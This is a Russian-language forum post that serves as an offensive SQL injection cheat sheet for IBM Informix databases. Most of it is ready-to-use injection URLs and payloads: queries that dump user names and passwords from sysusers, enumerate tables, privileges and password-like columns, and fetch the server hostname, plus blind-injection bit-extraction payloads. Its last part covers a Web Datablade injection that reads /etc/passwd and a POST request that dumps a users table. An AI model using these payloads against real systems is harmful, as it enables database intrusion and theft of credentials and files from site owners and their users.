Показать сообщение отдельно
Старый 12.12.2010, 17:31   #2
aka_zver
 
Аватар для aka_zver
 
Регистрация: 06.07.2010
Сообщений: 63
Репутация: 37
По умолчанию

<============>
IBM Informix
<============>

Продолжая говорить о продуктах IBM, коснёмся Информикс, который считают флагманом среди их субд, уходящий корнями в 1980 год. Предназначена для онлайновой обработки транзакций и используется как субд для нтегрированных решений. В настоящее время развивается раздельно с ДБ2 и позиционируется как мощное OLTP-решение, тогда как DB2 занимает нишу хранилищ данных. Не так давно, в октябре, вышла версия "11.70 Panther" для всех основных платформ. Обитает на портах 9088 и 9099. Строг к типам данных, юзаем конверт. Комментарий так же "--".

Ошибки выглядят как-то так:
Код:
"OLSOCSPX - Native Error = -25580
Error Message = [Informix][Informix ODBC Driver][Informix]System error..."
или
Код:
"[Informix][Informix ODBC Driver][Informix]Corresponding column types must be
compatible for each UNION statement."

============
Системное...
============

Код:
sysmaster
sysadmin
sysuser
sysutils
sysprocauth

systables
sysusers
systabauth
sysprocedures
syscolumns
============
Аналогично..
============

Код:
...
...
substring() - no comments)
bitand() - оно же "bitwise and" -> "select bitand(6, 2)..." вернёт 2
bitval() - выражает строковые данные числами, как-то так

Помимо cast(ololo+as+integer) можно юзать "::"

Конкатенация выглядит так:
--------------------------
1\ либо 'A'||'B'
2\ либо concat('A','B')
оба варианта одинаковы и равны 'AB'
=======
Тянем..
=======

Версия:
Код:
...about.cmf?var=-1+select+dbinfo('version','full')+from+systables+where+tabid=1;
...about.cmf?var=-1+select+dbinfo('version','server-type')+from+systables+where+tabid=1;
...about.cmf?var=-1+select+dbinfo('version', 'major'),dbinfo('version','minor'),dbinfo('version', 'level')+from+systables+where+tabid=1;
ОС можно распознать по выводу:
T=Windows, U=32-bit Unix, H=64-bit Unix (приложение 32-bit), F=64-bit Unix(приложение 64-bit).

Пользователи:
-------------
текущий:
Код:
about.cmf?var=-1+select+user+from+systables+where+tabid=1;
about.cmf?var=-1+select+current_role=from+systables+where+tabid=1;
все:
Код:
http://site.com/about.cmf?var=-1+select+username,usertype,password+from+sysusers;
права:
1\ на доступ к таблицам
Код:
about.cmf?var=-1+select+tabname,grantor,grantee,tabauth+from+systabauth+join+systables+on+systables.tabid=systabauth.tabid;
2\ на запуск процессов, команд
Код:
about.cmf?var=-1+select+procname,owner,grantor,grantee+from+sysprocauth+join+sysprocedures+on+sysprocauth.procid=sysprocedures.procid;
БД:
---
текущая:
Код:
about.cmf?var=-1+select+dbservername+from+systables+where+tabid=1;
все:
Код:
about.cmf?var=-1+select+name,owner+from+sysdatabases;
таблицы:
Код:
about.cmf?var=-1+select+tabname,owner+from+systables;
about.cmf?var=-1+select+tabname,viewtext+from+sysviews+join+systables+on+systables.tabid=sysviews.tabid;
N-ная табличка:
Код:
select first 1 tabid from (select first N tabid from systables order by tabid) as sq order by tabid desc; --
поиск таблиц по колонкам:
Код:
about.cmf?var=-1+select+tabname,colname,owner,coltype+from+syscolumns+join+systables+on+syscolumns.tabid=systables.tabid+where+colname+like+'%pass%';
колонки:
Код:
about.cmf?var=-1+select+tabname,colname,owner,coltype+from+syscolumns+join+systables+on+syscolumns.tabid=systables.tabid;
процедуры:
Код:
about.cmf?var=-1+select+procname,owner+from+sysprocedures;
IP сервера:
Код:
about.cmf?var=-1+select+dbinfo('dbhostname')+from+systables+where+tabid=1;
Функции и т.д..

Код:
SELECT SUBSTRING('ABCD' FROM 3 FOR 1) FROM systables where tabid = 1; --
select bitand(6, 2) from systables where tabid = 1; --
select tabid, case when tabid>10 then "High" else 'Low' end from systables;
=======
Вслепую
=======

Это "нечто", но всё же:
Numeric
-------

Код:
+ (select distinct case when bitval((SELECT distinct DECODE((select distinct (substr((sub-query),the_byte,1)) from sysmaster:informix.systables),"{",123,"|",124,"}",
125,"~",126,"!",33,"$",36,"(",40,")",41,"*",42,",",44,"-",45,".",46,"/",47," ",32,":",58,";",59,"_",95,"\",92,".",46,"?",63,"-",45,"0",48,"1",49,"2",50,"3",51,"4",52,"5",53,"6",54,"7",55,"8",56,"9",57,"@",64,"A",65,"B",66,"C",67,"D",68,"E",69,"F",70,"G",71," ",72,"I",73,"J",74,"K",75,"L",76,"M",77,"N",78,"O",79,"P",80,"Q",81,"R",82,"S",83,"T",84,"U",85,"V",86,"W",87,"X",88,"Y",89,"Z",90,"a",97,"b",98,"c",99,"d",100,"e",101,"f",102,"g",103,"h",104,"i",105,"j",106,"k",107,"l",108,"m",109,"n",
110,"o",111,"p",112,"q",113,"r",114,"s",115,"t",116,"u",117,"v",118,"w",119,"x",120,"y",121,"z",122,63) from sysmaster:informix.systables),the_bit) between 1 and 255 then 1 else (1/bitval(2,1)) end from sysmaster:informix.systables)-1
String data
-----------

Код:
' || (select distinct case when bitval((SELECT distinct DECODE((select distinct (substr((sub-query),the_byte,1)) from sysmaster:informix.systables),"{",123,"|",124,"}",125,"~",126,"!",33,"$",36,"(",40,")",41,"*",42,",",44,"-",45,".",46,"/",47," ",32,":",58,";",59,"_",95,"\\",92,".",46,"?",63,"-",45,"0",48,"1",49,"2",50,"3",51,"4",52,"5",53,"6",54,"7",55,"8",56,"9",57,"@",64,"A",65,"B",66,"C",67,"D",68,"E",69,"F",70,"G",71,"H",72,"I",73,"J",74,"K",75,"L",76,"M",77,"N",78,"O",79,"P",80,"Q",81,"R",82,
"S",83,"T",84,"U",85,"V",86,"W",87,"X",88,"Y",89,"Z",90,"a",97,"b",98,"c",99,"d",100,"e",101,"f",102,"g",103,"h",104,"i",105,"j",106,"k",107,"l",108,"m",109,"n",110,
"o",111,"p",112,"q",113,"r",114,"s",115,"t",116,"u",117,"v",118,"w",119,"x",120,"y",121,"z",122,63) from sysmaster:informix.systables),the_bit) between 1 and 255 then '\xFC' else (1/bitval(2,1))::char end from sysmaster:informix.systables) ||'
===========================================
Informix Web Datablade - Внедрение SQL кода
===========================================

Собственно, можно выполнить любой SQL запрос с помощью любой страницы, если они обрабатываются web datablade'ом версий 4.10-4.13 (+ версия Информикса 9.20-9.21, работающая на Linux 2.2/2.4 или SunOS 5.7), может потребоваться аутентификация.

Выглядит так:
Код:
http://vulnsite.com/path/' UNION ALL SELECT FileToClob('/etc/passwd','server')::html,0 FROM sysusers WHERE username = USER --/.html
Всё так оборачивается из-за недостаточной фильтрации при выполнении им запроса.

Стандартно:
Код:
SELECT webexplode(object,?::html),req_level FROM wbpages WHERE name='page' AND path='/' AND req_level <= 100;
А после нашего кода:
Код:
SELECT webexplode(object,?::html),req_level FROM wbpages WHERE name='' AND path='/' UNION ALL SELECT FileToClob('/etc/passwd','server')::html,0 FROM sysusers WHERE username = USER --' and req_level <= 100;
Первая часть запроса ничего не вернёт, т.к. http://vulnsite.com/path/.html не существует, а вот вторая прочтёт "/etc/passwd".

Ещё вариация на эту тему, позволяющая использовать также INSERT, UPDATE, DROP, CREATE и тд, состоит из хтмл и sql кода, пересылается POST'ом:
Код:
POST /site/ HTTP/1.0 
Content-Length: 215 
Content-Type: application/x-www-form-urlencoded 
MIval=/'UNION SELECT webexplode('<html><body><table><?MISQL SQL="SELECT * FROM wbusers"><tr>{<td>$*</td>}</tr><?/MISQL></table></body></html>',''),0 FROM sysusers 
WHERE username=USER--/.html
aka_zver вне форума   Ответить с цитированием